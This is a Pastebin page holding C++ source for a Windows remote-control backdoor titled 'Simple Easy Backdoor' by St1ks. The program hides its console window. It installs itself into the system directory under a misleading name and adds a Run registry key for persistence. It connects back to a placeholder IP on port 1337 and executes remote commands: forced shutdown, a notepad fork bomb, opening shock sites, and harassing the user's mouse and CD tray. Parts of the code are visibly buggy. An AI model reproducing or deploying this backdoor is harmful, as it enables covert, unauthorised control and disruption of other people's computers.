emS-St1ks

Simple Easy Backdoor by St1ks

Oct 8th, 2014
308
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 5.23 KB | None | 0 0
  1. // Simple Easy Backdoor Server by St1ks
  2.  
  3. #include <winsock2.h>
  4. #include <iostream>
  5. #include <windows.h>
  6. using namespace std;
  7. char Windir[MAX_PATH];
  8. char Module[MAX_PATH];
  9. char cmd[MAX_PATH]="";
  10.  
  11.  
  12. void shock()
  13. {
  14. system("start www.goatse.cx");
  15. system("start www.tubgirl.com");
  16. system("start www.LemonParty.org");
  17. system("start www.Whoomp.org");
  18. system("start www.Yellaface.com");
  19. system("start www.thewillpower.com");
  20. }
  21.  
  22. void GetPaths()
  23. {
  24.    GetSystemDirectory(Windir, sizeof(Windir));
  25.    GetModuleFileName(0, Module, sizeof(Module));
  26.    strcat(Windir, "\\WindowsAPICalls.exe");
  27. }    
  28.  
  29. void Install()
  30. {    
  31.    CopyFile(Module,Windir,0);
  32.    
  33.    HKEY Install;
  34.    RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run", &Install);
  35.    RegSetValueEx(Install, "Windows API Calls", 0, REG_SZ, (LPBYTE)Windir, sizeof(Windir));
  36.    RegCloseKey(Install);
  37. }    
  38. int exit()
  39. {
  40.    return 0;
  41. }
  42.  
  43.  
  44. SOCKET Socket;
  45.  
  46.  
  47. void message()
  48. {
  49. int x=1;
  50. while(x<30)
  51. {
  52. MessageBox(NULL, "Oh No", ".........", MB_OK);
  53. x++;
  54. }
  55. }
  56.  
  57. void Shutdown()
  58. {
  59. system("shutdown -s -t 5");
  60. }
  61. void beep()
  62. {
  63. Beep(8000, 12000);
  64. }
  65. void OpenCloseCDTray()
  66. {
  67.    mciSendString("set cdaudio door open", 0, 0, 0);
  68.    mciSendString("set cdaudio door open", 0, 0, 0);  
  69. }    
  70. void mouse()
  71. {
  72. float x, y, z;
  73. x=rand()%800;
  74. y=rand()%800;
  75. z=1;
  76. while(z<10);
  77. {
  78. SetCursorPos(x, y);
  79. z++;
  80. }
  81. }
  82. void Bomb()
  83. {
  84.    HWND hwnd;
  85.    char Notepad[MAX_PATH]="notepad.exe";
  86.    for(;;)
  87.    {
  88.    ShellExecute(hwnd,"open",Notepad,NULL,NULL,SW_MAXIMIZE);
  89.    }
  90. }        
  91.  
  92. void LeftMouse()
  93. {
  94.    SwapMouseButton(true);
  95. }    
  96.  
  97. void RightMouse()
  98. {
  99.    SwapMouseButton(false);
  100. }            
  101.  
  102. int ServerInitialize()
  103. {
  104.    char IP[MAX_PATH];
  105.  
  106.    
  107.    WSADATA wsaData;
  108.    int iResult;
  109.    iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
  110.    if ( iResult != NO_ERROR )
  111.    {
  112.        cout << "Error at WSAStartup()\n";
  113.        cin.ignore();
  114.        return 0;
  115.    }    
  116.    else
  117.    {
  118.        cout << "Winsock intialized.\n";
  119.    }    
  120.    
  121.    Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  122.    if (Socket == INVALID_SOCKET)
  123.    {
  124.        cout << "Error at socket(): %ld\n",WSAGetLastError();
  125.        WSACleanup();
  126.        cin.ignore();
  127.        return 0;
  128.    }
  129.    else
  130.    {
  131.        cout << "Socket initialized" << "\n";
  132.    }  
  133.      
  134.    sockaddr_in clientService;
  135.    clientService.sin_family = AF_INET;
  136.    clientService.sin_addr.s_addr = inet_addr( "IP to connect to");
  137.    clientService.sin_port = htons(1337);
  138.    cout<<"HI";
  139.    if (connect(Socket, (SOCKADDR*) &clientService, sizeof(clientService)) == SOCKET_ERROR)
  140.    {
  141.        cout << "Failed to connect.\n";
  142.        WSACleanup();
  143.        cin.ignore();
  144.        return 0;
  145.    }
  146.    
  147.    else
  148.    {
  149.      cout << "Connected to server." << "\n";
  150.    }  
  151. }
  152. void Receive()
  153. {    
  154.    for(;;)
  155.    {
  156.        char Choice[MAX_PATH]="";
  157.        cout << "Waiting for commands, sir!" << "\n";
  158.        recv(Socket, Choice, sizeof(Choice), 0);
  159.        cout << Choice << "\n";
  160.        if (!strcmp(Choice,"1"))
  161.            {
  162.                LeftMouse();
  163.                const char c_LeftMouse[MAX_PATH]={"Mouse changed; left."};
  164.                send(Socket,c_LeftMouse, sizeof(c_LeftMouse),0);
  165.            }
  166.        if (!strcmp(Choice,"2"))
  167.            {
  168.                RightMouse();
  169.                const char c_RightMouse[MAX_PATH]={"Mouse changed; right."};
  170.                send(Socket,c_RightMouse, sizeof(c_RightMouse),0);
  171.            }    
  172.        if (!strcmp(Choice,"3"))
  173.            {
  174.                OpenCloseCDTray();
  175.                const char c_CDTray[MAX_PATH]={"CD Tray opened.  Closed if not on a laptop."};
  176.                send(Socket,c_CDTray, sizeof(c_CDTray),0);
  177.            }  
  178.        if (!strcmp(Choice,"4"))
  179.            {
  180.                Shutdown();
  181.                const char c_Shutdown[MAX_PATH]={"Shutdown initiated."};
  182.                send(Socket,c_Shutdown, sizeof(c_Shutdown),0);
  183.            }          
  184.                 if (!strcmp(Choice,"5"))
  185.            {
  186.                beep();
  187.                const char c_beep[MAX_PATH]={"Beeped."};
  188.                send(Socket,c_beep, sizeof(c_beep),0);
  189.            }        
  190.                 if (!strcmp(Choice,"6"))
  191.            {
  192.                mouse();
  193.                const char c_mouse[MAX_PATH]={"mouse moved."};
  194.                send(Socket,c_mouse, sizeof(c_mouse),0);
  195.            }            
  196.            if (!strcmp(Choice,"6"))
  197.            {
  198.                message();
  199.                const char c_message[MAX_PATH]={"Message Sent"};
  200.                send(Socket,c_message, sizeof(c_message),0);
  201.            }          
  202.             if (!strcmp(Choice,"7"))
  203.            {
  204.                shock();
  205.                const char c_shock[MAX_PATH]={"Shocked\n"};
  206.                send(Socket,c_shock, sizeof(c_shock),0);
  207.            }              
  208.    }    
  209. }                  
  210.  
  211.  
  212.  
  213. int main()
  214. {
  215.  
  216.  
  217.    if(!strcmp(Windir,Module))
  218.    {
  219.    SetConsoleTitle("..");
  220.  HWND  hide = FindWindow(NULL, "..");
  221.  ShowWindow(hide, 0);  
  222.        ServerInitialize();    
  223.        Receive();
  224.      
  225.    }    
  226.    else
  227.    {
  228.    SetConsoleTitle("..");
  229.    HWND  hide = FindWindow(NULL, "..");
  230.    ShowWindow(hide, 0);  
  231.        ServerInitialize();    
  232.        Receive();
  233.    }  
  234.    return 0;  
  235. }
Advertisement
Add Comment
Please, Sign In to add comment